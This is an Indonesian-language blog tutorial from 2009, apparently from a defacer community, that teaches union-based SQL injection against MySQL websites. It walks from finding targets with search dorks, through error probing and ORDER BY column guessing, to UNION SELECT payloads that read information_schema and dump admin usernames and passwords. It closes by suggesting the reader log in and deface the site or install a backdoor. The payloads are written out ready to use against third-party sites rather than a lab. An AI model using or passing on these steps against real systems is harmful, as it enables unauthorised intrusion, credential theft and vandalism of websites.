Main » 2009 » January » 30 » TUTORIAL BEGO SQL INJECTION DARI OrangBego
TUTORIAL BEGO SQL INJECTION DARI OrangBego
5:47 AM
1. Pertama-tama, cari target dulu. Bisa pakai dork yang sering saia gunakan, sudah saia share di tulisan sebelumnya.
2. Cari bugs-nya (khususnya bugs SQL, karena ini kan ngomongin SQL). Bagaimana mengetahuinya bahwa itu bugs??
3. Tambahkan tanda kutip [‘] pada akhir URLnya, sehingga muncul pesan error yang berbunyi : You have an error in your SQL syntax. Kalau muncul error seperti itu, bias dipastikan web tersebut terdapat bugs SQL injection. Lalu?
4. Kita tambahkan lagi dengan perintah/command +order+by+15/*, kalau dengan cara itu masih muncul pesan error seperti yang terdapat di nomor 3, kita ganti commandnya dengan +order+by+15--. Itu bermaksud kita menebak jumlah kolom yang terdapat pada tabelnya.
5. Kalau pada angka muncul pesan error seperti ini : Unknown column '15' in 'order clause', maka kita ganti angka 15 dengan angka yang lebih kecil hingga HILANG PESAN ERRORnya.
6. Nah, misalnya pesan errornya hilang di angka 3 (+order+by+3/*), langkah selanjutnya ialah dengan command +union+select+x,x,x,n/* atau +union+select+x,x,x,n-- , maka jadi seperti ini +union+select+1,2,3/* atau +union+select+1,2,3-- (tanda pada akhir url tergantung pada nomor_4).
7. Misalnya setelah step tadi keluar sebuah atau beberapa angka, maka angka yang muncul itu yang bias kita inject. Anggap ajah keluar angka 2.
Nah, disinilah letak BEGOnya tutorial ini. Saia akan membagi menjadi 2 bagian. Bagian A : angka yang muncul pada nomor_6. Bagian B : antara angka terakhir pada url dan tanda penutup (/* atau --) Contoh : +union+select+1,[BAGIAN A],3[BAGIAN B]-- atau +union+select+1,[BAGIAN A],3[BAGIAN B]/*
Selanjutnya, kita akan menginjek lebih jauh. Mendulang informasi rahasia hanya dengan SQL command.
Mengetahui versi MySQL version() pada bagian A +union+select+1,[BAGIAN A],3-- >> +union+select+1,version(),3--
Mengetahui nama database database() pada bagian A +union+select+1,[BAGIAN A],3-- >> +union+select+1,database(),3--
Mengetahui MySQL user user() pada bagian bagian A +union+select+1,[BAGIAN A],3-- >> +union+select+1,user(),3--
Gabungan 3 diatas concat_ws(0x3a, version(), database(), user()) pada bagian A +union+select+1,[BAGIAN A],3-- >> +union+select+1,concat_ws(0x3a, version(), database(), user()),3--
Contoh hasilnya : 5.0.26:dbase_orangbego:orangbegobanget itu artinya : versi MySQL : 5.0.26 Database : dbase_orangbego MySQL user : orangbegobanget
Nah, kalau versi databasenya versi 5, bias kita dulang informasi dengan schema. Tapi kalau versi 4, jujur saia masih ngga tau bagaimana ? Anggap ajah versi 5 yah..yuk kita lanjut.
Melihat table table_name pada bagian A +from+information_schema.tables pada bagian B union+select+1,[BAGIAN A],3[BAGIAN B]-- union+select+1,table_name,3+from+information_schema.tables-- Lalu kita cari nama tabel yang berbau admin atau user dari table-tabel yang ada. Misalnya tbl_user. Nah catet ajah dulu di notepad.
Melihat kolom column_name pada bagian A +from+information_schema.columns pada bagian B union+select+1,[BAGIAN A],3[BAGIAN B]-- union+select+1,column_name,3+from+information_schema.columns-- Nah, kita cari lagi kolom-kolom yang mencurigakan, seperti kolom user/admin dan password. Misalnya kita dapat: user password
Aha, kalau sudah seperti ini, tinggal kita intip deh hasilnya. concat(column_1,0x3a,column_2) pada bagian A +from+nama_tabel pada bagian B union+select+1,[BAGIAN A],3[BAGIAN B]-- union+select+1, concat(user,0x3a,password),3+from+tbl_user-- Nanti akan muncul hasilnya, yaitu berupa username dan password. Misalnya : orangbego:ups..ketahuan_deh Artinya : user : orangbego password : ups..ketahuan_deh
Nah..kalo udah gini, silahkan cari halaman login adminnya, lalu login. Setelah itu? Terserah anda, mau di deface atau pasang backdoor ?.
Credits : bL4Ck_3n91n3 (yang ngajarin pertama kali), Bang Kanal (inspirasi bagian A dan B)
Thanks to : Defacer.biz, Logiforum.co.cc, indonesiacoder.co.cc, forum.balikita.net